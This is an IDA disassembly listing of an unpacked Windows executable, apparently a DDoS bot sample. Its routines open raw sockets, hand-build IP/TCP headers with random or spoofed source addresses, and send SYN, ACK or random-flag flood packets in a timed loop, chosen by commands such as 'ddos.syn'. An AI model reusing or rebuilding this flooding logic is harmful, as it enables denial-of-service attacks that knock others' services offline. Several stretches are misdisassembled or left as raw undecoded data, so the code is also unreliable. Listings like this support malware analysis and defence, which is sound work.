;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 74CA367CB9A0ADC9203C0CC91162870D
; File Name : u:\work\74ca367cb9a0adc9203c0cc91162870d_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 00020000 ( 131072.)
; Section size in file : 00020000 ( 131072.)
; Offset to raw data for section: 00001000
; Flags E0000040: Data Executable Readable Writable
; Alignment : default
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
seg000 segment para public 'CODE' use32
assume cs:seg000
;org 401000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
public start
start proc near ; DATA XREF: seg000:00410717o
var_494 = byte ptr -494h
var_294 = dword ptr -294h
var_290 = dword ptr -290h
var_28C = byte ptr -28Ch
var_20C = byte ptr -20Ch
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_8C = byte ptr -8Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 494h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0A5h
mov esi, eax
lea edi, [ebp+var_294]
rep movsd
mov dword ptr [eax+290h], 1
call ds:dword_42104C ; GetTickCount
push eax
call sub_41551F
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_20C]
push eax
lea eax, [ebp+var_28C]
push eax
call sub_4013E9
push eax
lea eax, [ebp+var_494]
push offset unk_423050
push eax
call sub_4154CD
xor esi, esi
add esp, 20h
cmp [ebp+var_8], esi
jnz short loc_401090
push esi
lea eax, [ebp+var_494]
push [ebp+var_C]
push eax
lea eax, [ebp+var_10C]
push eax
push [ebp+var_294]
call sub_412D32
add esp, 14h
loc_401090: ; CODE XREF: start+6Ej
lea eax, [ebp+var_494]
push eax
call sub_40B151
push [ebp+var_290]
call sub_415295
pop ecx
pop ecx
push esi
call near ptr 3D0000h
mov word ptr [edi+5Eh], ds
start endp ; sp-analysis failed
loc_4010B2: ; CODE XREF: sub_4013E9+40p
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp-0B3h]
mov [ebp-0B4h], bl
rep stosd
stosw
stosb
lea eax, [ebp-284h]
push eax
push 202h
call ds:dword_43A2F0 ; WSAStartup
test eax, eax
jz short loc_4010F2
xor eax, eax
jmp loc_4013E5
; ---------------------------------------------------------------------------
loc_4010F2: ; CODE XREF: seg000:004010E9j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call ds:dword_43A41C ; WSASocketA
cmp eax, 0FFFFFFFFh
mov [ebp-20h], eax
jz loc_4013DD
push esi
lea ecx, [ebp-40h]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp-40h], edi
call ds:dword_43A358 ; setsockopt
cmp eax, 0FFFFFFFFh
jz loc_4013D3
push dword ptr [ebp+14h]
mov word ptr [ebp-58h], 2
call ds:dword_43A378 ; ntohs
mov esi, [ebp+8]
push 28h
mov [ebp-56h], ax
mov [ebp-54h], esi
mov byte ptr [ebp-34h], 45h
call ds:dword_43A378 ; ntohs
push dword ptr [ebp+14h]
mov [ebp-32h], ax
mov [ebp-30h], di
mov [ebp-2Eh], bx
mov byte ptr [ebp-2Ch], 80h
mov byte ptr [ebp-2Bh], 6
mov [ebp-2Ah], bx
mov [ebp-24h], esi
call ds:dword_43A378 ; ntohs
mov [ebp-12h], ax
call sub_415529
movzx eax, ax
cdq
mov ecx, 401h
idiv ecx
push edx
call ds:dword_43A378 ; ntohs
push 12345678h
mov [ebp-14h], ax
call ds:dword_43A374 ; ntohl
push offset aDdos_syn ; "ddos.syn"
mov [ebp-10h], eax
push dword ptr [ebp+10h]
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_4011C2
mov [ebp-0Ch], ebx
mov byte ptr [ebp-7], 2
jmp short loc_401216
; ---------------------------------------------------------------------------
loc_4011C2: ; CODE XREF: seg000:004011B7j
push offset aDdos_ack ; "ddos.ack"
push dword ptr [ebp+10h]
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_4011DE
mov [ebp-0Ch], ebx
mov byte ptr [ebp-7], 10h
jmp short loc_401216
; ---------------------------------------------------------------------------
loc_4011DE: ; CODE XREF: seg000:004011D3j
push offset aDdos_random ; "ddos.random"
push dword ptr [ebp+10h]
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_401216
call sub_415529
push 3
cdq
pop ecx
idiv ecx
mov [ebp-0Ch], edx
call sub_415529 ; CODE XREF: seg000:00401245j
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp-7], dl
loc_401216: ; CODE XREF: seg000:004011C0j
; seg000:004011DCj ...
push 4000h
mov byte ptr [ebp-8], 50h
call ds:dword_43A378 ; ntohs
mov [ebp-6], ax
lea eax, [ebp-48h]
push eax
mov [ebp-2], bx
mov [ebp+10h], ebx
call near ptr 3D0000h
mov ch, 8Dh
inc ebp
in al, 50h
call near ptr 3D0000h
sbb bh, bh
jnz short near ptr loc_4011FF+4
mov eax, [ebp+18h]
cdq
push dword ptr [ebp-48h]
push edx
push eax
call sub_415980
add eax, [ebp-1Ch]
push 14h
pop esi
adc edx, [ebp-18h]
mov [ebp-3Ch], eax
mov [ebp-38h], edx
loc_401264: ; CODE XREF: seg000:00401394j
; seg000:004013A2j
mov [ebp-4], bx
call sub_415529
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call ds:dword_43A378 ; ntohs
mov [ebp-14h], ax
call sub_415529
mov edi, eax
shl edi, 10h
call sub_415529
or edi, eax
push edi
call ds:dword_43A378 ; ntohs
movzx eax, ax
mov [ebp-10h], eax
mov eax, [ebp+0Ch]
inc dword ptr [ebp+0Ch]
push eax
call ds:dword_43A374 ; ntohl
mov [ebp-28h], eax
mov eax, [ebp-24h]
push esi
mov [ebp-74h], eax
mov [ebp-70h], bl
mov byte ptr [ebp-6Fh], 6
call ds:dword_43A378 ; ntohs
mov [ebp-6Eh], ax
mov eax, [ebp-28h]
mov [ebp-78h], eax
lea eax, [ebp-78h]
push 20h
push eax
lea eax, [ebp-0B4h]
push eax
call sub_4155B0
lea eax, [ebp-14h]
push esi
push eax
lea eax, [ebp-94h]
push eax
call sub_4155B0
lea eax, [ebp-0B4h]
push 34h
push eax
call sub_40A1AE
mov [ebp-4], ax
lea eax, [ebp-34h]
push esi
push eax
lea eax, [ebp-0B4h]
push eax
call sub_4155B0
lea eax, [ebp-14h]
push esi
push eax
lea eax, [ebp-0A0h]
push eax
call sub_4155B0
push 4
lea eax, [ebp-8Ch]
push ebx
push eax
call sub_415550
add esp, 44h
lea eax, [ebp-0B4h]
push 28h
push eax
call sub_40A1AE
mov [ebp-2Ah], ax
lea eax, [ebp-34h]
push esi
push eax
lea eax, [ebp-0B4h]
push eax
call sub_4155B0
add esp, 14h
lea eax, [ebp-58h]
push 10h
push eax
push ebx
lea eax, [ebp-0B4h]
push 28h
push eax
push dword ptr [ebp-20h]
call ds:dword_43A3DC ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_4013A7
add [ebp+10h], eax
lea eax, [ebp-1Ch]
push eax
call near ptr 3D0000h
xchg eax, edx
mov eax, [ebp-18h]
cmp eax, [ebp-38h]
jg short loc_4013D0
jl loc_401264
mov eax, [ebp-1Ch]
cmp eax, [ebp-3Ch]
jnb short loc_4013D0
jmp loc_401264
; ---------------------------------------------------------------------------
loc_4013A7: ; CODE XREF: seg000:0040137Dj
call ds:dword_43A30C ; WSAGetLastError
push eax
lea eax, [ebp-0F4h]
push offset unk_42308C
push eax
call sub_4154CD
lea eax, [ebp-0F4h]
push eax
call sub_40B151
add esp, 10h
jmp short loc_4013D3
; ---------------------------------------------------------------------------
loc_4013D0: ; CODE XREF: seg000:00401392j
; seg000:004013A0j
mov ebx, [ebp+10h]
loc_4013D3: ; CODE XREF: seg000:0040112Aj
; seg000:004013CEj
push dword ptr [ebp-20h]
call ds:dword_43A410 ; closesocket
pop esi
loc_4013DD: ; CODE XREF: seg000:0040110Dj
call ds:dword_43A2D8 ; WSACleanup
mov eax, ebx
loc_4013E5: ; CODE XREF: seg000:004010EDj
pop edi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
sub_4013E9 proc near ; CODE XREF: start+4Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_40A03F
push [esp+10h+arg_4]
mov esi, eax
call sub_415A3F
push [esp+14h+arg_C]
mov ebx, eax
call sub_415A3F
mov edi, eax
call sub_415529
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
push [esp+20h+arg_8]
lea eax, [edx+esi+100h]
push eax
push esi
call loc_4010B2
add esp, 20h
test eax, eax
jnz short loc_401438
push 1
pop eax
loc_401438: ; CODE XREF: sub_4013E9+4Aj
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_4013E9 endp
; ---------------------------------------------------------------------------
loc_401447: ; DATA XREF: seg000:004108FFo
push ebp
mov ebp, esp
sub esp, 3BCh
push ebx
push esi
mov eax, [ebp+8]
push edi
push 68h
mov esi, eax
pop ecx
lea edi, [ebp-1BCh]
push 1
pop ebx
push 0FFh
push 3
rep movsd
push 2
mov [eax+19Ch], ebx
call ds:dword_43A3F8 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp-4], eax
jnz short near ptr loc_4014E1+1
call ds:dword_43A30C ; WSAGetLastError
push eax
lea eax, [ebp-3BCh]
push offset unk_42322C
loc_401495: ; DATA XREF: seg002:off_424D5Co
; seg002:off_425D04o
push eax
call sub_4154CD
xor edi, edi
add esp, 0Ch
cmp [ebp-24h], edi
jnz short loc_4014C5
push edi
lea eax, [ebp-3BCh]
push dword ptr [ebp-28h]
push eax
lea eax, [ebp-0B8h]
push eax
push dword ptr [ebp-1BCh]
call sub_412D32
add esp, 14h
loc_4014C5: ; CODE XREF: seg000:004014A3j
lea eax, [ebp-3BCh]
push eax
call sub_40B151
push dword ptr [ebp-38h]
call sub_415295
pop ecx
pop ecx
push edi
call near ptr 3D0000h
loc_4014E1: ; CODE XREF: seg000:00401481j
dec byte ptr [ebp+46AF44Dh]
loc_4014E7: ; CODE XREF: seg000:00401558j
push ecx
xor edi, edi
push 2
push edi
push eax
mov [ebp-0Ch], ebx
call ds:dword_43A358 ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short near ptr loc_401558+1
call ds:dword_43A30C ; WSAGetLastError
push eax
lea eax, [ebp-3BCh]
push offset unk_4231E0
push eax
call sub_4154CD
add esp, 0Ch
cmp [ebp-24h], edi
jnz short loc_40153C
push edi
lea eax, [ebp-3BCh]
push dword ptr [ebp-28h]
push eax
lea eax, [ebp-0B8h]
push eax
push dword ptr [ebp-1BCh]
call sub_412D32
add esp, 14h
loc_40153C: ; CODE XREF: seg000:0040151Aj
lea eax, [ebp-3BCh]
push eax
call sub_40B151
push dword ptr [ebp-38h]
call sub_415295
pop ecx
pop ecx
push edi
call near ptr 3D0000h
loc_401558: ; CODE XREF: seg000:004014FAj
jo short loc_4014E7
test [eax-2], ecx
; ---------------------------------------------------------------------------
db 2 dup(0FFh), 50h
dd 0A3B815FFh, 0F8830043h, 8D5575FFh, 0FFFC4485h, 31AC68FFh
dd 0E8500042h, 13F51h, 59DC7D39h, 57207559h, 0FC44858Dh
dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh
dd 11792h, 8D14C483h, 0FFFC4485h, 0A2E850FFh, 0FF00009Bh
dd 0DEE8C875h, 5900013Ch, 41E85759h, 0EBFFFCEAh, 458D106Ah
dd 0E85057E4h, 13F84h, 660CC483h, 2E445C7h, 15FF5700h
dd 43A378h, 0E6458966h, 0FE48858Dh, 0FF50FFFFh, 43A3B815h
dd 4C358B00h, 89004210h, 7D89E845h, 89D6FF08h, 0D6FFF845h
dd 33F8452Bh, 3E8B9D2h, 0F1F70000h, 0FD0453Bh, 19487h
dd 41C6800h, 5C60000h, 438B78h, 7815FF45h, 390043A3h, 0A366D47Dh
dd 438B7Ah, 7C1D8966h, 6600438Bh, 8B7E3D89h, 5C60043h
dd 438B80h, 811D8880h, 6600438Bh, 8B823D89h, 30740043h
dd 13ED0E8h, 0C1D88B00h, 0C6E808E3h, 300013Eh, 8E3C1D8h
dd 13EBCE8h, 0C1D80300h, 0B2E808E3h, 300013Eh, 89016AD8h
dd 438B841Dh, 18EB5B00h, 0FE44B5FFh, 0C6E8FFFFh, 5900008Ah
dd 0B815FF50h, 0A30043A3h, 438B84h, 0A3E8458Bh, 438B88h
dd 13E80E8h, 0B99900h, 0F7000001h, 8C1588F9h, 0E800438Bh
dd 13E6Dh, 100B999h, 0F9F70000h, 8B8D1588h, 5AE80043h
dd 9900013Eh, 0F0B9h, 4006800h, 0F9F70000h, 8E3D8966h
dd 6600438Bh, 8B921D89h, 66420043h, 8B901589h, 32E80043h
dd 9900013Eh, 0FFB9h, 52F9F700h, 438B9468h, 3E46E800h
dd 0C4830001h, 0E4458D0Ch, 5750106Ah, 41C68h, 8B786800h
dd 75FF0043h, 0DC15FFFCh, 830043A3h, 874FFF8h, 0E90845FFh
dd 0FFFFFECAh, 0FFFC75FFh, 43A41015h, 0C15FF00h, 500043A3h
dd 0FE48858Dh, 75FFFFFFh, 48685008h, 8D004231h, 0FFFC4485h
dd 20068FFh, 0E8500000h, 142E6h, 3918C483h, 2075DC7Dh
dd 44858D57h, 0FFFFFFFCh, 8D50D875h, 0FFFF4885h, 0B5FF50FFh
dd 0FFFFFE44h, 115A9E8h, 14C48300h, 0FC44858Dh, 0E850FFFFh
dd 99B9h, 0E8C875FFh, 13AF5h, 0E8575959h, 0FFFCE858h, 0FC75FF82h
dd 0A41015FFh, 458B0043h, 6BD23308h, 0C88B3CC0h, 0F70AE8C1h
dd 0E9C1D075h, 8D505114h, 0FFFE4885h, 875FFFFh, 0C8858D50h
dd 50FFFFFEh, 0FC44858Dh, 0E468FFFFh, 50004230h, 13CE4E8h
dd 1CC48300h, 75DC7D39h, 858D5720h, 0FFFFFC44h, 50D875FFh
dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 1524E8FFh, 0C4830001h
dd 44858D14h, 50FFFFFCh, 9934E8h, 0C875FF00h, 13A70E8h
dd 57595900h, 0FCE7D3E8h
db 0FFh, 0B8h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40182E proc near ; DATA XREF: seg000:00410608o
var_414 = byte ptr -414h
var_214 = dword ptr -214h
var_210 = byte ptr -210h
var_190 = byte ptr -190h
var_110 = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 85h
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_190]
push eax
lea eax, [ebp+var_210]
push eax
call sub_401B7C
push eax
lea eax, [ebp+var_414]
push offset dword_423274
push eax
call sub_4154CD
xor esi, esi
add esp, 18h
cmp [ebp+var_8], esi
jnz short loc_4018AB
push esi
lea eax, [ebp+var_414]
push [ebp+var_C]
push eax
lea eax, [ebp+var_90]
push eax
push [ebp+var_214]
call sub_412D32
add esp, 14h
loc_4018AB: ; CODE XREF: sub_40182E+5Bj
lea eax, [ebp+var_414]
push eax
call sub_40B151
push [ebp+var_10]
call sub_415295
pop ecx
pop ecx
push esi
call near ptr 3D0000h
insd
pop edi
pop esi
sub_40182E endp ; sp-analysis failed
loc_4018CA: ; CODE XREF: sub_401B7C+3Cp
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp-0B3h]
mov [ebp-0B4h], bl
rep stosd
stosw
stosb
lea eax, [ebp-284h]
push eax
push 202h
call ds:dword_43A2F0 ; WSAStartup
test eax, eax
jz short loc_40190A
xor eax, eax
jmp loc_401B78
; ---------------------------------------------------------------------------
loc_40190A: ; CODE XREF: seg000:00401901j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call ds:dword_43A41C ; WSASocketA
cmp eax, 0FFFFFFFFh
mov [ebp-0Ch], eax
jz loc_401B70
push esi
lea ecx, [ebp-38h]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp-38h], edi
call ds:dword_43A358 ; setsockopt
cmp eax, 0FFFFFFFFh
jz loc_401B66
push 10h
lea eax, [ebp-50h]
push ebx
push eax
call sub_415550
add esp, 0Ch
mov word ptr [ebp-50h], 2
push dword ptr [ebp+10h]
call ds:dword_43A378 ; ntohs
mov esi, [ebp+8]
push 28h
mov [ebp-4Eh], ax
mov [ebp-4Ch], esi
mov byte ptr [ebp-20h], 45h
call ds:dword_43A378 ; ntohs
push dword ptr [ebp+10h]
mov [ebp-1Eh], ax
mov [ebp-1Ch], di
mov [ebp-1Ah], bx
mov byte ptr [ebp-18h], 80h
mov byte ptr [ebp-17h], 6
mov [ebp-16h], bx
mov [ebp-10h], esi
call ds:dword_43A378 ; ntohs
push 4000h
mov [ebp-32h], ax
mov [ebp-2Ch], ebx
mov byte ptr [ebp-28h], 50h
mov byte ptr [ebp-27h], 2
call ds:dword_43A378 ; ntohs
mov [ebp-26h], ax
lea eax, [ebp-40h]
push eax
mov [ebp-22h], bx
mov [ebp+10h], ebx
call near ptr 3D0000h
in eax, 8Dh
inc ebp
clc
push eax
call near ptr 3D0000h
; ---------------------------------------------------------------------------
dd 0C475FFFEh, 9914458Bh, 52C075FFh, 3F96E850h, 45030001h
dd 13F28BF8h, 4589FC75h, 5D8966A8h, 3B2BE8DCh, 0B9990001h
dd 3E9h, 0C281F9F7h, 3E8h, 7815FF52h, 660043A3h, 0E8CC4589h
dd 13B0Dh, 0E7C1F88Bh, 3B03E810h, 0F80B0001h, 7815FF57h
dd 0F0043A3h, 4589C0B7h, 0C458BD0h, 500C45FFh, 0A37415FFh
dd 146A0043h, 8BEC4589h, 575FF045h, 888C4589h, 45C6905Dh
dd 15FF0691h, 43A378h, 92458966h, 89EC458Bh, 458D8845h
dd 50206A88h, 0FF4C858Dh, 0E850FFFFh, 13B38h, 57CC458Dh
dd 6C858D50h, 50FFFFFFh, 13B27E8h, 4C858D00h, 6AFFFFFFh
dd 17E85034h, 66000087h, 8DDC4589h, 5057E045h, 0FF4C858Dh
dd 0E850FFFFh, 13B04h, 57CC458Dh, 60858D50h, 50FFFFFFh
dd 13AF3E8h, 8D046A00h, 0FFFF7485h, 0E85053FFh, 13A84h
dd 8D44C483h, 0FFFF4C85h, 50286AFFh, 86D1E8h, 45896600h
dd 0E0458DEAh, 858D5057h, 0FFFFFF4Ch, 3ABEE850h, 0C4830001h
dd 0B0458D14h, 5350106Ah, 0FF4C858Dh, 286AFFFFh, 0F475FF50h
dd 0A3DC15FFh, 0F8830043h, 12774FFh, 458D1045h, 0E1E850F8h
dd 9EFFFCE4h, 3BFC458Bh, 0F3C7FC6h, 0FFFEC88Ch, 0F8458BFFh
dd 73A8453Bh, 0FEBBE92Eh, 15FFFFFFh, 43A30Ch, 0C858D50h
dd 68FFFFFFh, 4232B0h, 397BE850h, 858D0001h, 0FFFFFF0Ch
dd 95F3E850h, 0C4830000h, 8B03EB10h
db 5Dh, 10h
; ---------------------------------------------------------------------------
loc_401B66: ; CODE XREF: seg000:00401942j
push dword ptr [ebp-0Ch]
call ds:dword_43A410 ; closesocket
pop esi
loc_401B70: ; CODE XREF: seg000:00401925j
call ds:dword_43A2D8 ; WSACleanup
mov eax, ebx
loc_401B78: ; CODE XREF: seg000:00401905j
pop edi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
sub_401B7C proc near ; CODE XREF: sub_40182E+3Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_40A03F
push [esp+10h+arg_4]
mov esi, eax
call sub_415A3F
push [esp+14h+arg_8]
mov ebx, eax
call sub_415A3F
mov edi, eax
call sub_415529
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
lea eax, [edx+esi+100h]
push eax
push esi
call loc_4018CA
add esp, 1Ch
test eax, eax
jnz short loc_401BC7
push 1
pop eax
loc_401BC7: ; CODE XREF: sub_401B7C+46j
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_401B7C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401BD6 proc near ; DATA XREF: seg000:0040FA57o
var_440 = byte ptr -440h
var_240 = dword ptr -240h
var_23C = byte ptr -23Ch
var_1BC = byte ptr -1BCh
var_13C = byte ptr -13Ch
var_BC = dword ptr -0BCh
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A0 = byte ptr -0A0h
var_9F = byte ptr -9Fh
var_8C = byte ptr -8Ch
var_80 = byte ptr -80h
var_78 = byte ptr -78h
var_75 = dword ptr -75h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = byte ptr -5Ch
var_5B = byte ptr -5Bh
var_5A = word ptr -5Ah
var_44 = word ptr -44h
var_42 = word ptr -42h
var_40 = dword ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_2A = word ptr -2Ah
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = byte ptr -24h
var_23 = byte ptr -23h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_B = byte ptr -0Bh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 440h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 68h
mov esi, eax
pop ecx
lea edi, [ebp+var_240]
rep movsd
push 1
xor ebx, ebx
pop esi
lea edi, [ebp+var_9F]
push 0Eh
mov [eax+19Ch], esi
pop ecx
xor eax, eax
mov [ebp+var_A0], bl
rep stosd
stosw
stosb
mov edi, ds:dword_42104C
call edi ; GetTickCount
push eax
call sub_41551F
pop ecx
push 0FFh
push 3
push 2
call ds:dword_43A3F8 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_401C9F
call ds:dword_43A30C ; WSAGetLastError
push eax
lea eax, [ebp+var_440]
push offset dword_423438
push eax
call sub_4154CD
add esp, 0Ch
cmp [ebp+var_A8], ebx
jnz short loc_401C7F
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_412D32
add esp, 14h
loc_401C7F: ; CODE XREF: sub_401BD6+84j
lea eax, [ebp+var_440]
push eax
call sub_40B151
push [ebp+var_BC]
call sub_415295
pop ecx
pop ecx
push ebx
call near ptr 3D0000h
stc
loc_401C9F: ; CODE XREF: sub_401BD6+61j
lea ecx, [ebp+var_34]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_34], esi
call ds:dword_43A358 ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short loc_401D1D
call ds:dword_43A30C ; WSAGetLastError
push eax
lea eax, [ebp+var_440]
push offset dword_4233EC
push eax
call sub_4154CD
add esp, 0Ch
cmp [ebp+var_A8], ebx
jnz short loc_401CFD
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_412D32
add esp, 14h
loc_401CFD: ; CODE XREF: sub_401BD6+102j
lea eax, [ebp+var_440]
push eax
call sub_40B151
push [ebp+var_BC]
call sub_415295
pop ecx
pop ecx
push ebx
call near ptr 3D0000h
aas
loc_401D1D: ; CODE XREF: sub_401BD6+DFj
lea eax, [ebp+var_23C]
push eax
call ds:dword_43A3B8 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short loc_401D8D
lea eax, [ebp+var_440]
push offset dword_4233B8
push eax
call sub_4154CD
cmp [ebp+var_A8], ebx
pop ecx
pop ecx
jnz short loc_401D6D
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_412D32
add esp, 14h
loc_401D6D: ; CODE XREF: sub_401BD6+172j
lea eax, [ebp+var_440]
push eax
call sub_40B151
push [ebp+var_BC]
call sub_415295
pop ecx
pop ecx
push ebx
call near ptr 3D0000h
scasb
loc_401D8D: ; CODE XREF: sub_401BD6+157j
push 10h
lea eax, [ebp+var_44]
push ebx
push eax
call sub_415550
add esp, 0Ch
mov [ebp+var_44], 2
push ebx
call ds:dword_43A378 ; ntohs
mov [ebp+var_42], ax
lea eax, [ebp+var_23C]
push eax
call ds:dword_43A3B8 ; inet_addr
mov [ebp+var_40], eax
mov [ebp+arg_0], ebx
call edi ; GetTickCount
mov [ebp+var_30], eax
loc_401DC5: ; CODE XREF: sub_401BD6+430j
call edi ; GetTickCount
sub eax, [ebp+var_30]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+var_B4]
ja near ptr loc_402088+1
push 28h
mov [ebp+var_2C], 45h
call ds:dword_43A378 ; ntohs
cmp [ebp+var_B0], ebx
mov [ebp+var_2A], ax
mov [ebp+var_28], si
mov [ebp+var_26], bx
mov [ebp+var_24], 80h
mov [ebp+var_23], 6
mov [ebp+var_22], bx
jz short loc_401E38
call sub_415529
mov esi, eax
shl esi, 8
call sub_415529
add esi, eax
shl esi, 8
call sub_415529
add esi, eax
shl esi, 8
call sub_415529
add esi, eax
push 1
mov [ebp+var_20], esi
pop esi
jmp short loc_401E4E
; ---------------------------------------------------------------------------
loc_401E38: ; CODE XREF: sub_401BD6+233j
push [ebp+var_240]
call sub_40A155
pop ecx
push eax
call ds:dword_43A3B8 ; inet_addr
mov [ebp+var_20], eax
loc_401E4E: ; CODE XREF: sub_401BD6+260j
mov eax, [ebp+var_40]
cmp [ebp+var_B8], ebx
mov [ebp+var_1C], eax
jnz short loc_401E6C
call sub_415529
cdq
mov ecx, 401h
idiv ecx
push edx
jmp short loc_401E72
; ---------------------------------------------------------------------------
loc_401E6C: ; CODE XREF: sub_401BD6+284j
push [ebp+var_B8]
loc_401E72: ; CODE XREF: sub_401BD6+294j
call ds:dword_43A378 ; ntohs
mov [ebp+var_16], ax
call sub_415529
cdq
mov ecx, 401h
idiv ecx
push edx
call ds:dword_43A378 ; ntohs
push 12345678h
mov [ebp+var_18], ax
call ds:dword_43A374 ; ntohl
mov [ebp+var_14], eax
lea eax, [ebp+var_1BC]
push offset aSyn ; "syn"
push eax
call sub_415AA0
pop ecx
test eax, eax
pop ecx
jz short loc_401EC2
mov [ebp+var_10], ebx
mov [ebp+var_B], 2
jmp short loc_401F1E
; ---------------------------------------------------------------------------
loc_401EC2: ; CODE XREF: sub_401BD6+2E1j
lea eax, [ebp+var_1BC]
push offset aAck ; "ack"
push eax
call sub_415AA0
pop ecx
test eax, eax
pop ecx
jz short loc_401EE2
mov [ebp+var_10], ebx
mov [ebp+var_B], 10h
jmp short loc_401F1E
; ---------------------------------------------------------------------------
loc_401EE2: ; CODE XREF: sub_401BD6+301j
lea eax, [ebp+var_1BC]
push offset aRandom ; "random"
push eax
call sub_415AA0
pop ecx
test eax, eax
pop ecx
jz short loc_401F1E
call sub_415529
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_10], edx
call sub_415529
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+var_B], dl
loc_401F1E: ; CODE XREF: sub_401BD6+2EAj
; sub_401BD6+30Aj ...
push 200h
mov [ebp+var_C], 50h
call ds:dword_43A378 ; ntohs
mov [ebp+var_A], ax
mov eax, [ebp+var_20]
mov [ebp+var_64], eax
mov eax, [ebp+var_1C]
push 14h
mov [ebp+var_6], bx
mov [ebp+var_8], bx
mov [ebp+var_60], eax
mov [ebp+var_5C], bl
mov [ebp+var_5B], 6
call ds:dword_43A378 ; ntohs
mov [ebp+var_5A], ax
lea eax, [ebp+var_64]
push 20h
push eax
lea eax, [ebp+var_A0]
push eax
call sub_4155B0
lea eax, [ebp+var_18]
push 14h
push eax
lea eax, [ebp+var_80]
push eax
call sub_4155B0
lea eax, [ebp+var_A0]
push 34h
push eax
call sub_40A1AE
mov [ebp+var_8], ax
lea eax, [ebp+var_2C]
push 14h
